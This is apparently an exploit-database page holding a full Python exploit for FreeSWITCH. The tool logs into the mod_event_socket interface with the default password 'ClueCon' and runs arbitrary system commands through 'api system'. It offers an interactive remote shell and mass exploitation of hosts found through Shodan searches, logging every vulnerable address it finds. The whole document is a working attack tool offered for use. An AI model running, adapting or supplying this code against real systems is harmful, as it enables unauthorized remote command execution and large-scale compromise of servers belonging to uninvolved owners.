4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import os
import sys
import shodan
import shutil
import argparse
import concurrent.futures

from socket import *
from rich.table import Table
from rich.panel import Panel
from rich.console import Console
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory

class FreeSwitchExploit:

    def __init__(self, args):
        self.console = Console()
        self.interactive = False
        self.args = args
        self.PASSWORD = 'ClueCon'
        self.TARGET_LIST_FILE = args.output if args.output else 'vulnerable.txt'
        self.CMD = 'printf "%s" "VUL" && echo -n "NERABLE " && echo -n "USER: "; whoami ; echo|set /p="VUL" & echo|set /p="NERABLE " & echo|set /p="USER: " & whoami'
        self.SHODAN_API_KEY = os.environ.get('SHODAN_API_KEY')
        self.target_list = []
        

        if not self.SHODAN_API_KEY and self.args.auto:
            self.console.print("[bold red]Error: Shodan API key not found[/bold red]")
            self.console.print("To add the Shodan API key, export it as an environment variable:\n")
            self.console.print("export SHODAN_API_KEY=Your_Shodan_API_Key")
            sys.exit(1)

    def banner(self):
        banner_text = '''
+-+-+-+-+-+-+-+-+-+       
|C|h|o|c|a|p|i|k|k|       
+-+-+-+-+-+-+-+-+-+    
|T|r|H|a|c|k|n|o|n|      
+-+-+-+-+-+-+-+-+-+                                                     
            '''

        self.console.rule("[bold purple]Exploit for FreeSWITCH by Chocapikk and TrHacknon[/bold purple]", characters="═", style="green")
        self.console.print(Panel.fit(f"[bold cyan]{banner_text}[/bold cyan]", border_style="magenta"), justify="center")
        self.console.rule(characters="═", style="green")




    def interactive_shell(self, address, port):
        session = PromptSession(history=InMemoryHistory())
        self.interactive = True
        while True:
            try:
                cmd = session.prompt(HTML('<ansired><b># </b></ansired>'))
                self.CMD = cmd
                if "exit" in cmd:
                    raise KeyboardInterrupt
                if not cmd:
                    continue
                if "clear" in cmd:
                    if os.name == 'posix':
                        os.system('clear')
                    elif os.name == 'nt':
                        os.system('cls')
                else:        
                    self.exploit_target(address, port)

            except KeyboardInterrupt:
                self.console.print("[bold][yellow][!] Exited shell[/bold][/yellow]")
                sys.exit(0)
        
    def exploit_target(self, address, port):
        try:
            s = socket(AF_INET, SOCK_STREAM)
            s.settimeout(5)
            s.connect((address, port))

            response = s.recv(1024)
            if b'auth/request' in response:
                s.send(bytes('auth {}\n\n'.format(self.PASSWORD), 'utf8'))
                response = s.recv(1024)
                if b'+OK accepted' in response:
                    self.console.print(f"[bold green]Authenticated - {address}:{port}[/bold green]") if self.args.target else None
                    s.send(bytes('api system {}\n\n'.format(self.CMD), 'utf8'))
                    response = s.recv(8096).decode()
                    print(response) if self.args.target and self.interactive else None
                    
                    vuln_line = next((line for line in response.split('\n') if 'VULNERABLE' in line), None)
                    if vuln_line and "api/response" in response:
                        self.console.print(f"[bold green]Command executed successfully - {address}[/bold green]")
                        self.console.print(vuln_line)
                        self.interactive_shell(address, port) if self.args.target else None
                        
                        with open(self.TARGET_LIST_FILE, 'a') as file:
                            file.write(f"{address}:{port}" + '\n') if self.args.auto or self.args.list else None
                        return (f"{address}:{port}", vuln_line)
                    else:
                        return None
                else:
                    if self.args.target:
                        self.console.print(f"[bold red]Authentication failed - {address}:{port}[/bold red]") 
                        self.console.print(f"[bold red]Not vulnerable[/bold red]")
                        sys.exit(1)
                    
            else:
                self.console.print(f"[bold yellow]Not prompted for authentication, likely not vulnerable - {address}[/bold yellow]") if self.args.target else None

        except Exception as e:
            self.console.print(f"[bold red]Error: {e}[/bold red]") if self.args.target else None
            
        finally:
            s.close()
                    
    def generate_targets(self):
        self.target_list = []
        if self.args.list:
            try:
                with open(self.args.list, 'r') as f:
                    lines = f.readlines()

                for line in lines:
                    target = line.strip().split(':')
                    if len(target) == 2:
                        ip, port = target
                    else:
                        ip = target[0]
                        port = self.args.port
                    self.target_list.append((ip, int(port)))

                self.console.print(f"[bold green]Number of targets found: {len(self.target_list)}[/bold green]")
                
            except Exception as e:
                self.console.print(f"[bold red]Error: {e}[/bold red]")
                sys.exit(1)
                
        elif self.args.auto:
            try:
                self.console.print(f"[bold green]Searching on Shodan in {self.args.pages} page(s), please wait...[/bold green]") if self.SHODAN_API_KEY else None
                api = shodan.Shodan(self.SHODAN_API_KEY)

                for page in range(1, self.args.pages + 1):
                    results = api.search('product:"FreeSWITCH mod_event_socket"', page=page)

                    self.target_list.extend([(result['ip_str'], result['port']) for result in results['matches']])

                self.console.print(f"[bold green]Number of targets found: {len(self.target_list)}[/bold green]")

            except shodan.APIError as e:
                self.console.print(f"[bold red]Error: {e}[/bold red]")
                sys.exit(1)
        elif self.args.target:
            target = self.args.target
            port = self.args.port  
            self.target_list = [(target, port)]

        else:
            self.console.print("[bold red]Please specify either a single target with --target or use --auto for multiple targets[/bold red]")
            sys.exit(1)

    def run(self):
        self.banner()
        self.console.print("\n")

        self.generate_targets()

        table = Table(show_header=True, header_style="bold", title="Exploitation Results")
        table.add_column("Target", style="cyan")
        table.add_column("Result", style="magenta")

        with concurrent.futures.ThreadPoolExecutor(max_workers=self.args.threads) as executor:
            futures = {executor.submit(self.exploit_target, address, port): (address, port) for address, port in self.target_list}

            if (hasattr(self.args, 'auto') and self.args.auto)\
                or (hasattr(self.args, 'list') and self.args.list):    
                    
                with self.console.status("[blink][bold purple]Hacking The Planet...\n", spinner="earth"):
                    for future in concurrent.futures.as_completed(futures):
                        address, port = futures[future]
                        try:
                            result = future.result()
                        except Exception as e:
                            self.console.print(f"[bold red]Error: {e}[/bold red]")
                            continue

                        if result:
                            table.add_row(*result)

            else:
                for future in concurrent.futures.as_completed(futures):
                    address, port = futures[future]
                    try:
                        result = future.result()
                    except Exception as e:
                        self.console.print(f"[bold red]Error: {e}[/bold red]")
                        continue

                    if result:
                        table.add_row(*result)

        self.console.print(table) if (hasattr(self.args, 'auto') and self.args.auto)\
                                    or (hasattr(self.args, 'list') and self.args.list)\
                                        or self.args.list else None



def main():
    parser = argparse.ArgumentParser(description='FreeSWITCH Exploit')
    parser.add_argument('--target', help='Specify a single target IP')
    parser.add_argument('--threads', help='Number of threads', default=10, type=int)
    parser.add_argument('--list', help='Specify a file with list of targets ip:port. If port is not specified, default port will be used.')
    parser.add_argument('--port', help='Specify a port for the target', default=8021, type=int)
    parser.add_argument('--auto', action='store_true', help='Automatically generate a list of targets from Shodan')
    parser.add_argument('--pages', help='Number of pages for Shodan search', default=1, type=int)
    parser.add_argument('--output', help='Specify output file for vulnerable targets')

    args = parser.parse_args()

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.auto and (args.target or args.list):
        parser.error("--auto cannot be used with --target or --list")
    if args.target and args.list:
        parser.error("--target cannot be used with --list")
    
    exploit = FreeSwitchExploit(args)
    exploit.run()

if __name__ == "__main__":
    main()